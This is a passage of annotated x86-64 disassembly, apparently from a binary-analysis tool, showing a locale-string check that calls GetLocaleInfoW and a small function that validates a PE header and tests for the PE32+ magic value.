and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x140060f75
cmp ebx, dword [rsp + 0x30]
je 0x140060f6e
test esi, esi
je 0x140060f6e
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x140060f49
sub r8w, 0x61
cmp r8w, 0x19
ja 0x140060f56
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x140060f33
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x140060f5a
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x140060f77
mov eax, 1
jmp 0x140060f77
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x140065180
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400651a8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400651a8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret